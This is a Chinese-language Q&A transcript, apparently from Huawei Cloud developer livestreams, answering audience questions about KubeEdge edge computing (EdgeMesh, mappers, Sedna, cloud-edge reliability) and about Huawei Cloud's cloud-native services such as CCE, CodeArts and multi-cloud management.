sedna支持多种训练和推理模式，其中终身学习主要用于解决小样本与边缘数据异构问题。Sedna会在云节点上部署一个知识库，能够辅助边缘端完成推理，并不断学习未知任务更新知识库。Q：KubeEdge最大支持管理多少规模边缘节点？A:目前有案例表明kubeedge接入的边缘节点规模突破10万，可以参考https://kubeedge.io/zh/blog/scalability-test-reportQ：KubeEdge如何处理多租户环境下的资源隔离？A:kubeedge依然保留了k8s的原生能力，因此可以通过创建命名空间、创建资源配额等的方式完成多租户环境下的资源隔离。Q：KubeEdge如何与云服务集成？A:KubeEdge核心理念是在原有Kubernetes云原生能力的基础上，面向边缘场景做了功能的增强，例如云边传递消息可靠性的增强、组件的轻量化，能够依托目前成为事实标准的Kubernetes api完成边缘与云上一致的使用体验，因此云服务依然可以参考传统Kubernetes中的部署方式进行部署。Q：云端可以批量升级边缘吗？A:在KubeEdge 1.16版本中，我们对边缘节点的批量升级这一特性做了功能增强，NodeUpgradeJob 的 Kubernetes API 进行边缘节点的一键化、批量升级。API 支持边缘节点的升级预检查、并发升级、失败阈值、超时处理等功能。对此，KubeEdge 支持了云边任务框架。社区开发者将无需关注任务控制、状态上报等逻辑实现，只需聚焦云边任务功能本身。 具体信息可参考https://kubeedge.io/blog/release-v1.16#support-cloud-and-edge-components-upgradeQ：EdgeMesh对边缘站点有哪些要求？A:运行EdgeMesh的边缘节点需要满足正常kubeedge对于边缘节点的要求，例如需要部署容器运行时、还需要满足硬件资源的一些限制。Q：KubeEdge如何处理边缘计算中的网络不稳定问题？A:KubeEdge针对边云连接不稳定、时常断连的情况，做了消息可靠性的增强，也是KubeEdge的核心特性之一。云上向边缘端下发控制命令时会检查边缘是否回传了ack应答，以此验证消息是否下发成功，并且云端会将消息进行编号，记录消息的下发。当边缘端长期断链后再次连接时，就不需要将消息全部重新发送，避免造成带宽冲击。另一方面，我们还实现了边缘自治的能力，在边缘节点上部署了一个轻量级的数据库，云上发送到边缘的元数据会保存在这个数据库中进行持久化，在边云连接长时断开或者边缘节点宕机重启后，能从边缘数据库中恢复用户应用。Q：EdgeMesh Agent之间打洞失败时怎么判断流量是否中转成功？A:当EdgeMesh打洞失败时可以使用EdgeMesh-server来中继流量，确保流量中转成功。Q：如果对安全要求很高的情况，那edgemesh的打洞不被允许，那这个特性是不是也用不了了。A:Edgemesh需要在边缘节点跨局域网时通过P2P打洞和中转技术才能完成边缘节点间的通信。Q：怎么降低两个边缘节点上的流量经过 EdgeMesh中转的网络时延？A:可以将EdgeMesh中继节点部署在地理位置适中的位置，以缩短数据传输的物理距离；也可以使用负载均衡技术将流量均匀分配到多个中继节点上，避免单个节点过载，从而提高整体的网络性能和降低时延。Q：1.12.7版本边端启动一段时间后云端可正常获取到边端的cpu，内存等状态信息，但运行一段时间后（一天或两天不固定）会出现边端状态信息上报失败连接超时，但除状态信息外其他都正常。边端重启后即恢复正常，这种情况可能有哪些原因造成的A:可以查看日志中是否有其他报错，例如channel已满，也可以使用go pprof等工具查看是否有内存泄露或者goroutine泄露的情况。Q：边缘设备开发有无官方开发板？A:目前我们已经内置了一些典型边缘设备协议的mapper插件，例如modbus、onvif等，用户可以直接使用我们提供的mapper对边缘设备进行管理，也可以仿照内置的mapper，自行通过mapper-framework开发框架实现其他协议mapper。内置的mapper地址为https://github.com/kubeedge/mappers-goQ：kubeEdge连入k8s如何防止抖动（经常断了又连接上）呢，毕竟数量太多的话会对集群造成影响A:kubeedge针对边云连接不稳定、时常断连的情况，做了消息可靠性的增强，也是kubeedge的核心特性之一。云上向边缘端下发控制命令时会检查边缘是否回传了ack应答，以此验证消息是否下发成功，并且云端会将消息进行编号，记录消息的下发。当边缘端长期断链后再次连接时，就不需要将消息全部重新发送，避免造成带宽冲击。另一方面，我们还实现了边缘自治的能力，在边缘节点上部署了一个轻量级的数据库，云上发送到边缘的元数据会保存在这个数据库中进行持久化，在边云连接长时断开或者边缘节点宕机重启后，能从边缘数据库中恢复用户应用。Q：KubeEdge对于跨地域的边缘计算部署有哪些支持？A:KubeEdge 1.11版本引入了“边缘节点分组管理”新特性，该特性允许将边缘节点按地区划分为节点组，使得应用所需资源可以打包成一个整体在节点组上进行部署。这种分组方式有效降低了边缘应用生命周期管理的复杂度，并减少了运维成本。Q：边缘设备的数量有限制吗？A:目前已经有案例表明kubeedge能够支持上万边缘设备的管理Q：KubeEdge支持哪些类型的工作负载？A:由于kubeedge的核心理念是基于k8s云原生能力，在边缘场景下做了一些功能的增强，因此传统k8s中工作负载的类型在kubeedge中都能够支持，例如deployment、job等。Q：云原生边缘计算与传统云计算相比有哪些优势？A:第一，云原生边缘计算拥有低延迟与高实时性，能够更快地响应用户请求，提供更高的实时性服务。第二，云原生边缘计算能够保障数据隐私与安全，能够在本地或靠近数据产生的地方处理数据，减少了数据传输的中间环节，从而提高了数据的安全性。第三，云原生边缘计算能带来带宽与成本优化。数据在边缘端处理能够减少数据传输的距离，降低了对带宽的需求，从而有助于降低网络成本。Q：KubeEdge对于边缘设备的异构性是如何处理的？A:kubeedge通过mapper插件对边缘设备进行管理，mapper中集成了设备驱动，可以按照对应的协议访问物理设备、获取边缘设备的数据或者状态。Mapper通过实现edgecore中DMI这个设备管理统一接口完成自身向集群的注册，最终完成设备的纳管。DMI采用grpc+uds的机制，定义了通用的接口，能够屏蔽设备之间的差异。Q：在KubeEdge的sedna中，实现边云协同AI的具体步骤是怎么样的A:由于sedna定位并不是tensorflow pytorch这类的深度学习框架，而是提供把用户已有的AI应用能力下沉至边缘端，减少用户构建部署的成本。因此第一，用户需要根据典型的框架实现自己的AI应用，并根据sedna中的要求对代码做一些修改，主要是导入sedna边云协同推理库，设置推理阈值等，修改完成后可以打包为一个镜像；第二，需要实现sedna中定义的部分crd文件，例如model crd定义的用户模型参数；第三，提交AI任务。用户可以定义sedna中JointInferenceService之类的任务crd，提交至集群，由sedna完成部署。Q：KubeEdge中边缘端和云端是如何高效同步状态和配置信息A:kubeedge中需要用到多个组件共同协作，完成云边同步状态和配置信息。在云端主要是依靠cloudhub和synccontroller，synccontroller中一方面会对云端下发的消息进行记录并编号，保证消息下发的连续性，另一方面也会定期同步云边状态，cloudhub则是实际执行消息传递的。在边缘端有edgehub，metamanager等组件来辅助云边通信，edghehub和cloudhub对应，接收cloudhub下发的消息并转发，metamanager一方面实现边缘自治，把核心元数据保存在边缘数据库中，一方面会把edgehub中的消息转发到边缘其他模块。Q：在边云协同过程中，如何处理数据的实时性与一致性？A:可以依赖kubeedge提供的云边消息同步机制。云端下发消息时会监测边端是否回传ACK应答，确保消息下发成功，另一方面云端使用synccontroller对云端下发的消息进行记录并编号，保证消息下发的连续性，也能定期同步云边状态。Q：KubeEdge在管理边缘设备必须通过mapper吗A:kubeedge是需要mapper来管理边缘设备的，mapper是kubeedge中的设备管理插件，其中集成了对应协议设备的驱动程序，能够实际连接到物理设备，并且获取设备状态与数据。Mapper实现了edgecore中DMI的相关接口，能将自身注册入kubeedge集群，并且将管理的设备状态数据通过DMI接口上报到edgecore，edgecore会对这些消息进行处理封装，通过云边通道上传到云端cloudcore，cloudcore中的devicecontroller就是edgecore中上报的设备信息与k8s apiserver通信的桥梁，完成对边缘设备的管理。Q：基于KubeEdge云原生边缘计算如何保障数据处理的实时性呢？A:kubeedge整合了云计算的优势和边缘计算的优势，能在靠近物或数据源头的网络边缘侧就近处理海量数据，具有毫秒级的实时响应。Q：KubeEdge安装部署有什么要求A:KubeEdge是依赖Kubernetes的，在部署前需要先拥有一个Kubernetes集群，同时KubeEdge也是以容器化的形式管理用户边缘应用的，所以也需要下载相应的容器运行时，比如containerd。Docker等，当然因为目前Kubernetes已经不在使用docker作为默认的容器运行时，所以使用高于1.14版本的KubeEdge时需要使用cri-dockerd，相关容器运行时的安装以及注意事项在我们的官网文档中也有介绍https://kubeedge.io/docs/setup/prerequisites/runtime/，大家可以参考。Q：KubeEdge如何将AI能力下沉至边缘？有哪些具体的技术实现和优化措施？A:kubeedge提出了边缘智能框架sedna，基于KubeEdge提供的边云协同能力，支持用户现有AI类应用无缝下沉到边缘，降低用户构建与部署成本、提升模型性能、保护数据隐私。Sedna能够提供基础的边云协同数据集管理、模型管理功能，具有协同推理、增量学习、联邦学习和终身学习的能力，能够更好的实现边云协同AI。Q：是否依赖边缘节点算力大小？A:kubeedge从部署的角度来说实现了组件的轻量化，目前已经能将内存占用降低至70M左右，减少了边缘节点的资源要求。除安装需求外，边缘节点算力的需求主要与用户部署的边缘应用相关，需要根据用户应用的大小评测具体的算力消耗。Q：KubeEdge的架构设计主要关注哪些关键组件？A:kubeedge云端和边端都运行了众多组件，其中云端组件包括EdgeController、deviceController、Synccontroller、cloudhub等，边端组件包括edgehub、MetaManager、edged、devicetwin、EventBus、ServiceBus等，每个组件都有重要的功能，具体的介绍可以访问我们的官方文档 https://kubeedge.io/docs/category/architectureQ：对于KubeEdge的边缘节点应该怎么配置？A:目前官方推荐大家使用keadm这个安装管理工具来部署kubeedge集群，可以在获得云端kubeedge集群的token后，使用keadm join命令加入kubeedge集群，并且自动部署edgecore组件。Q：KubeEdge与K8s有什么关系，与k8s的兼容性如何，是否支持最新版本的k8s？A:Kubeedge核心理念是基于k8s原生能力，在边缘计算场景下做了一些增强，因此与k8s的兼容性是kubeedge的核心特点之一。一般来说一个Kubeedge版本可以兼容3个版本的k8s，在每三个月kubeedge发布版本时，都会升级k8s的依赖，我们近期刚发布的1.18版本已经能够兼容1.29 1.28 1.27三个版本的k8s，欢迎大家使用。Q：边缘计算\边缘AI\云计算有什么区别？A:云是中心化、按需获取的大规模计算资源共享池，服务于广大的区域，能够提供几乎无限的算力；边缘计算是靠近数据产生源头的计算能力，服务于广小的区域，提供受限的算力。边缘AI是指在边缘计算环境中实现的人工智能。Q：KubeEdge在边云协同中如何处理数据安全与隐私保护？A:KubeEdge在数据传输过程中采用了全链路加密技术，确保数据在云端和边缘端之间的传输过程中不被窃取或篡改。这种加密方式涵盖了数据的整个传输路径，从源头到目的地都保持数据的安全性。Q：KubeEdge如何应对边缘设备的动态性和不确定性？A:kubeedge采用mapper设备管理插件来实际管理物理设备。在mapper中承载了DMI数据面能力，能够按照用户设置的周期定时采集设备状态与数据，并进行数据推送。Q：KubeEdge是否支持边缘设备的本地自治？网络中断时，边缘节点能否独立运行和做出决策？可以中断多久？A:kubeedge针对边云经常断连的情况，在边缘节点上部署了轻量级的数据库，可以存储云端命令的核心元数据，在边缘节点断开连接时能够依靠数据库维持边缘应用和设备稳定运行。在证书未过期的情况下理论上可以保持断连状态，随时重新连接。Q：KubeEdge是否对边缘侧异常断电场景有优化？边缘侧电力稳定性比较弱 经常断电A:kubeedge主要是对云边消息传递的可靠性做了增强，在边缘节点上部署一个轻量级数据库存储云边控制命令的元数据，在边缘节点断电重启时可以依据数据库的数据进行恢复想要了解更多云原生相关知识，欢迎观看DTSE Tech Talk 系列技术直播

在数字化转型的浪潮中，云原生技术以其独特的优势成为了企业创新发展的强大引擎。为了助力开发者们更深入地理解云原生，掌握其实践精髓，华为云DTSE将通过一个实践案例，介绍云原生技术改造方案。融合运用华为云高阶服务，助力企业应用云原生改造，提升系统弹性能力，探索云原生实践新路径。直播链接：cid:link_5Q：云原生技术架构的未来主流发展趋势是怎么样的？A:1.应用驱动的云原生发展: 未来的云原生平台将更加注重支持高度移动化、在线化、数据化、 SaaS化的新一代应用，推动企业从“IT资源云化”演进至“全栈云化”，强调自动化能力支撑的“全栈技术融合”和“敏捷交付”。2.单元化思想与一体化统筹: 云原生应用将更加注重标准化、单元化、可插拔和高度解耦的特性，同时也会关注服务拆分导致的开销，追求“自上而下”的一体化统筹优化。3.AI、大数据与云原生相互提升: 云原生的发展将越来越需要以大数据和 AI为基础的自动化、智能化工具平台，不断为开发、交付和资源管理活动提质增效。4.服务网格和服务治理: 服务治理与业务逻辑逐步解耦，服务网格以基础设施的方式提供无侵入的连接控制、安全、可监测性、灰度发布等治理能力。5.有状态应用的发展: 有状态应用逐步成为云原生市场中新的增长点，Operator的出现为有状态应用在云原生基础设施上运行提供了一套行之有效的标准规范。6.多云统一管理和调度: 客户开始关注跨区域和跨平台甚至跨服务商的大规模可复制能力，实现多云统一管理和业务流量统一调度。7.云原生北向 API的稳定性: 云原生北向 API区域稳定，支持跨区域和跨平台的大规模可复制能力2。这些趋势反映了云原生技术架构在未来发展中将更加注重应用的驱动、服务治理、应用的复杂性管理以及多云环境下的统一管理和调度能力。Q：云原生架构与传统云计算架构有何区别？A:云原生和传统云计算的差异主要在于它们各自在构建、部署和管理应用方面的方法和架构。云原生是指一套利用云计算的优势以实现更灵活、更可靠的软件开发和运维的技术与方法。相较于传统云计算，主要特征包括：1、微服务架构；2、容器化技术；3、动态管理；4、持续交付。传统云计算通常涉及虚拟机等技术以利用云资源，但在架构和操作层面保持较多传统数据中心的特性。云原生的方法重点在于微服务架构的采用，容器化以实现应用和服务的快速部署及扩缩容，动态管理确保资源的高效利用，持续交付支持快速迭代和市场响应。Q：CCE是否支持多租户资源共享？A:暂不支持。可以选择对应的命名空间，实现资源或租户的隔离。https://support.huaweicloud.com/usermanual-cce/cce_10_0285.htmlQ：如何评估企业应用云原生改造的必要性？A:企业云原生改造评估标准通常包括对企业现有架构的现代化程度、云原生技术栈的应用情况、以及改造后预期效果的综合评估。根据您提供的文档，具体的评估标准可以从以下几个方面进行:1.云原生架构设计能力:是否具备云原生的架构设计技术和服务能力，能够根据企业需求进行云原生架构的设计。2.落地实施技术服务支持能力:评估企业在云原生技术落地实施方面的能力，包括容器化改造、镜像仓库管理、 DevOps、运维监控等。3.微服务架构设计与实施能力:是否能够使用服务网格技术(如 Istio)、微服务框架(如 SpringCloud、 Dubbo)或华为云服务治理/微服务引擎相关服务进行微服务架构的设计与实施。4.业务流量监控与服务治理能力:是否能够设计并实施容器化业务流量监控、负载均衡策略、限流、熔断、服务调用安全、灰度发布、调用链追踪等服务治理相关内容。5.成本效益分析:改造后是否能提高资源利用率，降低计算成本和运维成本。6.安全性与合规性:改造过程中是否遵循安全最佳实践，确保符合相关合规性要求。7.服务等级协议(SLA)满足度:改造后的系统是否能够满足在线作业服务(如广告电商等)高 SLA要求和高峰时段的资源需求。8.弹性能力与容错性:是否能够提高系统的弹性能力，如自动弹性扩缩容，以及提高容错性，特别是对于大数据/转码等离线作业。企业在进行云原生改造评估时，应该结合自身业务特点和技术栈现状，参考上述标准，通过全面的技术评估和成本效益分析，制定出适合自己的云原生改造计划。同时，也需要考虑改造过程中的风险等级和策略，确保改造工作的顺利进行Q：华为云有什么产品可以替代apollo吗A:微服务引擎 CSE。一站式微服务平台，提供微服务应用必备的服务注册发现、配置管理、服务路由（应用网关）、服务治理能力。https://www.huaweicloud.com/product/cse.htmlQ：华为云云原生改造方案如何保证数据的安全和隐私性？A:华为云云原生改造方案保证安全性的措施主要包括以下几点:1.安全理念: 华为云强调“三分建设、七分运营”的安全理念，其中建设包括合规建设方案(等保、密评)、数据安全方案、大模型安全方案，而运营则重在全域安全运营加专业服务(MDR)。2.云原生安全优势: 华为云提出了“能力螺旋式上升的安全体系化能力”，这表明其安全能力不断进化和提升，与外挂式安全方案相比，华为云的安全方案有绝对优势。3.智能安全运营: 华为云原生安全运营实践分享中提到，通过智能安全分析/编排/响应(Intelligent Security Analysis/Orchestration/Response),结合全面的情报源、专家知识和 AI技术，使得威胁无处藏身。具体来说，威胁检测模型结合了安全日志、服务日志、云原生 AI和统一云安全架构，使得 SecMaster能够以超过95%的准确率快速同步华为云的已知威胁检测模型。4.快速响应: 使用安全编排技术(SOAR),SecMaster能够在单点风险发生时实现分钟级的全球响应2。5.安全信息智能分析: 通过 SecMaster进行智能分析、编排与响应，包括模型生成、事件响应团队(CSIRT)的事件警报、资产及信息的关联等，以及内部和外部情报的整合，实现快速的自动化处理。6.第三方情报: 结合第三方情报，增强安全分析的深度和广度2。通过上述措施，华为云云原生改造方案能够在设计之初就将安全性作为核心要素，通过不断的技术创新和实践经验积累，为用户提供一个更加安全、可靠的云原生环境。Q：云原生应用怎么无缝迁移到华为云上?A:华为云有自己的云原生迁移方案，迁移工具。可以给客户实施 https://support.huaweicloud.com/productdesc-professionalservices/migrationservices.htmlQ：云原生改造过程中，如何进行成本控制？A:在云原生改造过程中，控制成本是一个重要的环节。我们可以采取以下方法来实现成本控制:1.成本洞察:利用真实账单和集群资源用量统计数据，通过自研的成本画像算法进行成本拆分。提供部门、集群、命名空间、应用等维度的成本画像。帮助成本管理人员分析集群成本开销、资源使用状况，识别资源浪费。2.云原生成本治理:基于 FinOps理念的容器成本治理解决方案。提供部门维度、集群维度、命名空间维度的成本和资源画像。通过工作负载资源推荐等优化手段协助企业 IT成本管理人员实现容器集群的提效降本。3.云原生架构优化:应用容器化和微服务化的改造，以发挥云原生的优势，如自动弹性扩缩容等。容器技术可以提高资源利用率，避免闲置资源，从而降低计算成本。应用微服务化可以降低运维复杂度，从而降低运维成本。将在线离线业务混合部署，以提升整体利用率。通过上述方法，企业可以在云原生改造过程中有效控制成本，实现资源的高效利用，同时降低运维成本。cid:link_3Q：codearts的灰度切换的时候服务可用吗A:可用。灰度发布是在生产环境中创建与当前线上服务完全一致的工作负载（灰度负载），仅对其中的包版本（业务代码和配置）进行更新，但是新创建的工作负载不承接任何现网流量，对线上用户没有任何影响，就可以在没有风险的情况下，在生产环境进行测试了。在灰度环境验证无问题之后，就可以逐渐将线上用户的真实访问引流到灰度负载，直至完全引流后，新创建的灰度负载承接所有现网流量，原先的线上负载不承接任何流量，此时就可以安全地删除旧负载，保留新负载，完成一次发布。https://support.huaweicloud.com/bestpractice-pipeline/pipeline_practice_0002.htmlQ：请问华为云的云原生技术如何加速企业应用的开发和部署？A:华为云云原生技术通过提供一系列工具和服务来加速企业应用的开发和部署。以下是华为云云原生技术如何帮助企业加速这一过程的几个关键点:1.容器化与微服务架构:云原生技术基于容器化技术，支持微服务架构，使得应用可以被拆分为独立的服务，每个服务都可以独立开发、测试、部署和扩展。这种架构有助于提高应用的可维护性和可扩展性。2.DevOps工具链:华为云提供了完整的 DevOps工具链，包括代码管理、持续集成/持续部署(CI/CD)、测试和监控等，这些工具支持自动化流程，从而加快应用的开发和部署速度。3.云原生应用平台:华为云推出的云原生应用平台，如 ROMA,为企业提供全托管的、企业级的云原生应用开发和管理服务，支持微服务、容器、无服务器等多种云原生技术。Q：云原生改造后，如何评估其带来的性能提升和业务价值增长？A:云原生改造后的性能提升和业务价值增长的评估可以从以下几个方面进行:1.性能提升: 可以通过对改造前后的系统性能进行对比，包括但不限于响应时间、处理能力、资源利用率等指标。具体可以使用一些性能测试工具(如 JMeter、 LoadRunner等)进行压力测试和性能测试，通过测试结果来评估性能是否有所提升。2.业务价值增长: 可以从业务层面进行评估，例如，云原生改造后，是否降低了开发和运维的成本，是否提高了开发效率，是否加快了产品上线的速度，是否提高了系统的可用性和可扩展性，是否带来了新的业务机会等。具体可以通过业务指标(如销售额、用户数量、市场份额等)和业务调研来评估。3.技术风险: 云原生改造可能带来一些技术风险，例如，系统的复杂性可能会增加，新的技术可能需要相应的技术人才，改造过程可能会对现有系统产生影响等。这些风险需要在改造前进行评估，并在改造过程中进行管理。4.投资回报: 通过对比云原生改造的成本和改造后带来的业务价值，可以计算出投资回报率，以此评估云原生改造的经济效益。以上四个方面都需要综合考虑，才能全面评估云原生改造后的性能提升和业务价值增长。Q：面对多云策略，华为云如何帮助企业在不同云平台间实现云原生应用的灵活部署和管理？A:华为云通过提供一系列的云原生产品和服务，帮助企业在多云策略下部署和管理云原生应用。以下是华为云如何助力企业实现这一目标的几个关键方面:1.云原生技术创新: 华为云提出“云原生2.0”理念，将云原生技术与人工智能、大数据、物联网等前沿技术深度融合，提供业界领先的云原生解决方案。这包括云原生应用平台、微服务治理平台、 CCE Turbo等产品，帮助企业构建和部署云原生应用。2.多云资源管理: 华为云提供多云管理平台 CMP,支持跨多个云平台的资源管理、应用部署和监控，帮助企业实现多云环境下的统一管理和运维。3.业务连续性支持: 华为云的多云架构下天然具备支持各类业务连续性场景的能力，满足应用多活与多云容灾的要求。4.安全与合规性: 华为云通过策略管理、审计能力统一了各底层平台的安全合规性要求，并通过多云安全态势感知能力掌握整个分布式云平台和业务的安全情况。5.人才培养与认证: 华为云与高校合作开设云原生相关课程，为云原生产业输送专业人才，并推出云原生认证体系，帮助技术人才提升技能水平。6.参与云原生标准制定: 华为云积极参与云原生国际标准的制定，其云原生技术和解决方案得到了国际社会的认可，并被广泛应用于全球的云原生项目中。7.技术突破与案例分享: 华为云在云原生领域的技术突破，如云原生一站式安全解决方案、智能运维解决方案、微服务治理解决方案等，为企业提供了更加强大、可靠、智能的云原生解决方案，帮助企业加速数字化转型和业务创新。通过这些综合性的服务和解决方案，华为云能够帮助企业在多云策略下有效地部署和管理云原生应用，加速企业的数字化转型过程。Q：跨项目、跨团队、多地域的大规模场景，怎么做好需求追溯?A:需求管理 CodeArts Req https://support.huaweicloud.com/projectman/index.htmlQ：华为云提供了哪些工具或平台来支持持续集成/持续部署（CI/CD）实践？A:华为云支持 CI/CD的工具或平台包括:1.CodeArts:代码托管:CodeArts Repo提供千亿级代码行存储和十万并发下载，支持不同产品形态开发协同，以及百万人在线协同。代码检查:CodeArts Check基于主流业界标准和华为规范，守护软件质量与安全。编译构建:CodeArts Build支持亿级代码1小时构建，助于软件开发效率提升10倍。制品仓库:CodeArts Artifact实现公司级制品中心仓，支持百亿级软件包管理，支持日均20亿上传下载请求。发布管理:CodeArts Release提供调测与发布编排、自动化上线的发布管理服务。部署:CodeArts Deploy内置丰富部署模板，多套环境一站式分发部署。流水线:CodeArts Pipeline为企业级应用交付平台，助力企业 DevSecOps转型。2.DevSecOps解决方案:安全可信工具链: 组合 DevSecOps,打造自主可控安全服务，助力客户安全可信。3.专业服务:团队级教练辅导: 基于华为云 DevSecOps理念，提供敏捷辅导等落地实施服务，以提升企业软件交付能力，助力研发效能提升，使能企业数字化转型。Q：请问apollo数据是定期获取还是获取一次呢？另外我们本地已经搭建了jenkins的流水线要如何跟codearts对接A:apollo定时频率默认为每5分钟拉取一次，客户端也可以通过在运行时指定System Property: apollo.refreshInterval来覆盖，单位为分钟。https://github.com/apolloconfig/apollo/wiki/Apollo%E9%85%8D%E7%BD%AE%E4%B8%AD%E5%BF%83%E4%BB%8B%E7%BB%8D 服务扩展点是CodeArts的一种扩展插件，为CodeArts提供连接第三方服务的能力。 用户典型使用场景：在项目的流水线配置中，如果用户需要远程连接第三方服务，如：连接第三方GitHub、码云的Git仓库获取项目源码，连接第三方Jenkins服务执行Jenkins任务，连接Kubernetes集群进行部署，连接nexus repository用于添加用户的私有Maven仓库信息，Docker repository用于连接Docker镜像仓库，IAM账户扩展点用于委托自己账号的AK/SK给需要执行任务的账号等，均可以使用服务扩展点实现。 https://support.huaweicloud.com/usermanual-pipeline/pipeline_01_0011.htmlQ：请问华为云的云容器引擎 CCE 如何支持高可靠的企业级容器应用管理？它与其他容器服务有什么区别？A:华为云 CCE实现高可靠的企业级容器应用管理主要通过以下几个步骤: 1.集群选择: 选择具有3个控制节点的高可用模式，这样即使一个控制节点发生故障，集群仍然可以继续使用，不影响业务功能。 2.节点部署: 创建节点时选择在不同的可用区，这样即使一个可用区的节点发生故障，其他可用区的节点仍然可以提供服务。 3.节点池管理: 创建多个节点池，不同节点池部署在不同可用区，通过节点池扩展节点，以实现资源分配的最大化。 4.工作负载设置: 创建工作负载时，设置实例数需大于2个，以保证高可用。 5.亲和性规则: 设置工作负载亲和性规则，尽量让 Pod分布在不同可用区、不同节点上，以提高容器集群环境的高可用性。 6.一键部署: 提供一键式部署能力，可以快速帮助用户使用华为云容器服务能力，简化了部署过程，降低了出错率。 7.兼容 Kubernetes: 基于业界主流的 Kubernetes实现，完全兼容 Kubernetes/Docker社区原生版本，与社区最新版本保持紧密同步，完全兼容 Kubernetes API和 Kubectl,这为企业级应用管理提供了强大的支持。 通过这些步骤，华为云 CCE能够提供高可靠、高性能的企业级容器应用管理服务，支持 Kubernetes社区原生应用和工具，帮助企业快速实现业务系统的容器化改造。 华为云的云容器引擎(CCE)与其他容器服务的主要区别在于其提供的全栈容器能力和 Serverless容器服务。 CCE提供了高度可扩展和高性能的企业级 Kubernetes集群，支持运行 Docker容器，并提供了从集群管理到应用全生命周期管理的全栈容器能力，包括应用服务网格、 Helm应用模板、插件管理、应用调度、监控与运维等。用户可以轻松在华为云上部署、管理和扩展容器化应用程序。Q：请问在云原生架构中使用CCE和ECS各有什么优缺点？A:CCE(云容器引擎)优点:1.开箱即用的监控能力:CCE提供一键启用容器监控能力，简化了监控系统的搭建，降低了技术门槛。2.全景观测: 多维度全场景监控视图，提供近数十万项指标的全景可观测能力。3.开源增强: 兼容开源 Promtheus,提升了全方位的监控能力。4.智能可靠: 支持智能化版本升级、漏洞自动修复和智能调参，提供稳定、安全的集群使用体验。5.极致弹性性能: 支持容器秒级弹性，自动进行扩缩容，确保业务连续性和性能优化。6.全面兼容: 兼容 Kubernetes生态，灵活扩展功能。7.灵活规格与按秒计费: 提供灵活规格档位，按实际使用的资源量支付，减少成本支出。缺点:1.监控指标繁多: 云原生场景下的监控指标涵盖五大类，近数十万项，可能导致监控系统资源消耗高1。2.成本增加: 由于监控指标多，可能导致监控系统的成本显著增加。ECS(弹性计算服务)优点:1.灵活性: 提供高度可定制的虚拟机，用户可以根据需求自由配置硬件资源。2.广泛的操作系统支持: 支持多种操作系统，包括一些云原生架构不支持的系统。3.直接控制: 用户对虚拟机有完全的控制权，可以安装任何所需的软件。缺点:1.管理复杂性: 用户需要自己管理和维护底层资源设施，运维工作量大。2.成本不透明: 计费可能包括固定费用和按小时或按月计费的组合，使得成本预测更加复杂。3.弹性有限: 与 CCE的秒级弹性相比，ECS的弹性扩展通常需要手动操作或较长时间来响应资源需求变化。总结来说，CCE在云原生架构中提供了更加智能、便捷的监控和管理能力，适合需要快速部署和运维简化的场景。而 ECS提供了更高的灵活性和控制权，适合对底层资源管理有特殊需求或使用非云原生架构的场景。cid:link_1Q：CodeArts release联调环境支持二次开发吗？A:支持编排发布 https://support.huaweicloud.com/usermanual-pipeline/pipeline_01_0065.htmlQ：X Resource Service 层是什么样的原理？就是说集群节点资源都不用关心吗？工作节点的扩缩容和预热要运维吗？容器的网络模型是用的哪种？网络还是走的VPC融合容器吗？A:X Resource Service 层是什么样的原理？ 不清楚问题的意思 就是说集群节点资源都不用关心吗？ 需要检查 工作节点的扩缩容和预热要运维吗？ 不需要 容器的网络模型是用的哪种？ 1.云原生网络2.0 2.VPC网络 3.容器隧道网络 网络还是走的VPC融合容器吗？ 都有的Q：在云原生架构中，如何确保服务的高可用性和容错性？能否分享一些实际案例和应对策略？A:在云原生架构中，服务的高可用性和容错性是通过一系列的设计原则和技术手段来实现的。以下是一些常见的解决方案:1.容灾容错: 通过在不同的地理位置部署应用的副本，确保当一个地区发生故障时，其他地区的副本可以接管工作，保证服务的连续性。2.过载控制: 使用负载均衡器和自动扩展机制来避免单点过载，当流量增加时，可以自动扩展资源以应对负载，保证服务不因资源不足而降级。3.灰度发布: 逐步推出新版本的服务，可以先在小范围内部署，逐步扩大范围，如果在某个阶段发现问题，可以快速回滚，减少影响。4.监控和日志: 实时监控服务状态和性能指标，一旦发现异常，可以立即采取措施，如自动重启服务、通知运维人员等。5.故障演练: 定期进行故障演练，模拟各种可能的故障情况，检验服务的容错能力，同时作为改进服务可靠性的机会。6.数据备份和恢复: 定期备份数据，并确保可以快速恢复，以防数据丢失导致服务不可用。7.服务治理: 通过服务网格(如 Istio)等技术，实现服务之间的流量管理、故障注入、流量调度等功能，提高服务的弹性。8.持续规划和反馈: 持续地对服务的可靠性进行规划和改进，根据监控数据、故障报告等反馈信息，不断优化服务架构。以上解决方案可以单独使用，也可以结合使用，以提高服务的高可用性和容错性。在实际应用中，需要根据具体的业务需求和技术环境，选择合适的解决方案。Q：如果我们使用的是gitlab的仓库，如何实现配合code arts进行全自动发布呢A:要实现 GitLab仓库与 CodeArts的全自动发布，你需要使用一些 CI/CD工具，如 GitLab CI/CD或 Jenkins等。 以下是一种实现方法:1.在 GitLab中设置 CI/CD: 首先，你需要在你的 GitLab仓库中设置 CI/CD。这可以通过创建一个.gitlab-ci.yml文件来完成。在这个文件中，你可以定义你的构建、测试和部署流程。2.安装必要的依赖: 在.gitlab-ci.yml文件中，你需要安装你的项目所需的所有依赖。你可以使用apt，yum或brew等工具来安装这些依赖。3.编写脚本来部署到 CodeArts: 你需要编写一个脚本来部署你的项目到 CodeArts。这个脚本应该会将你的项目部署到 CodeArts的相应环境。cid:link_2Q：可以用IDE改项目，然后用CCE的CI/CD编译后，打成新的docker再用流水线自动放入CCE平台，等待审核后，自动替换旧的docker？A:是的。通过流水线参数串联编译构建服务和部署服务 https://support.huaweicloud.com/bestpractice-pipeline/pipeline_practice_0013.htmlQ：请问当数据量呈指数级增长时，DTSE 如何在华为云上进行弹性扩展以避免性能瓶颈？A:华为云的弹性扩展可以通过水平扩展和垂直扩展两种方式来解决性能瓶颈问题。1.水平扩展: 就是增加更多的资源来处理更多的请求。例如，如果您的应用程序需要处理大量并发请求，您可以添加更多的 ECS实例(Elastic Compute Service,弹性计算服务)或者云服务器来分担负载。弹性伸缩服务(Auto Scaling,自动伸缩)可以根据业务需求自动进行水平扩展。2.垂直扩展: 就是提升现有资源的性能。例如，您可以通过升级 ECS实例的配置(如 CPU、内存)来提升单个实例的处理能力。另外，华为云还提供了数据库服务(如 RDS,Relational Database Service,关系型数据库服务)等服务，这些服务内建了数据分片、读写分离、自动扩展等功能，可以更好地帮助用户解决大规模数据和高并发的挑战。总的来说，华为云的弹性扩展服务可以根据业务需求，动态地调整资源配置，从而有效地解决性能瓶颈问题。Q：codearts可以和本地jenkins打通吗？A:可以的。 